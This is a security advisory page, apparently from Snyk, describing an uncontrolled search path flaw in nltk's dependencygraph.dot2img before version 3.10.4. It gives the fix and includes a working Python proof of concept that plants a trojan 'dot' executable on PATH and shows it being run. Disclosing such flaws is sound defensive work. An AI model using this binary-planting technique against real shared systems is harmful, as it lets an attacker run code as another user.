Uncontrolled Search Path Element Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.18% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22733181
  • published22 Nov 2026
  • disclosed16 Nov 2026
  • creditzx, Daniel Coles, manus-use

Introduced: 16 Nov 2026

NewCVE-2026-128134  (opens in a new tab)
CWE-426  (opens in a new tab)
CWE-427  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Uncontrolled Search Path Element via nltk.parse.dependencygraph.dot2img, which resolves the Graphviz dot executable by bare name using find_binary (applying only a current-working-directory guard) and then executes the resolved absolute path with a raw subprocess.run call. Unlike the hardened sibling in nltk/translate/api.py, dot2img never routes execution through nltk.pathsec.spawn_trusted, so the ownership/writability check (resolve_trusted_executable) and the loader-environment scrub (safe_env) are never applied. A local, unprivileged attacker who can write to any group/world-writable directory on the victim's PATH can plant a trojan dot binary there; when the victim renders a DependencyGraph (including via the auto-invoked _repr_svg_ in a Jupyter notebook) or calls dot2img directly, the trojan executes as the victim with the full inherited environment, including loader-injection variables such as LD_PRELOAD and DYLD_*.

PoC

Requires: POSIX host, an importable NLTK build from the affected tree, and Python 3. No third-party dependencies.

  1. Create a world-writable directory and write an executable dot script into it that drops a marker and emits fake SVG.
  2. Prepend that directory to PATH and run from a neutral working directory (so this is not the current-working-directory vector).
  3. Show that resolve_trusted_executable refuses the planted binary (so the hardened path would raise) while dot2img executes it.
import os, stat, tempfile, subprocess, sys
d = tempfile.mkdtemp()
dot = os.path.join(d, "dot")
with open(dot, "w") as f:
    f.write("#!/bin/sh\ntouch " + os.path.join(d, "MARKER") + "\necho '<svg><!-- planted dot ran --></svg>'\n")
os.chmod(dot, 0o777)
os.chmod(d, 0o777)
os.environ["PATH"] = d + os.pathsep + os.environ["PATH"]
os.chdir("/")
from nltk.pathsec import resolve_trusted_executable
from nltk.parse.dependencygraph import dot2img
print("resolve_trusted_executable(planted dot):", resolve_trusted_executable(os.path.join(d, "dot")))
out = dot2img("digraph G { a -> b }")
print("dot2img stdout:", repr(out))
print("planted dot executed (marker created):", os.path.exists(os.path.join(d, "MARKER")))
resolve_trusted_executable(planted dot): None
dot2img stdout: '<svg><!-- planted dot ran --></svg>\n'
planted dot executed (marker created): True

Note: Requires a POSIX host, an importable NLTK build from the affected tree, and Python 3, with no third-party dependencies.

CVSS Base Scores

version 4.0
version 3.1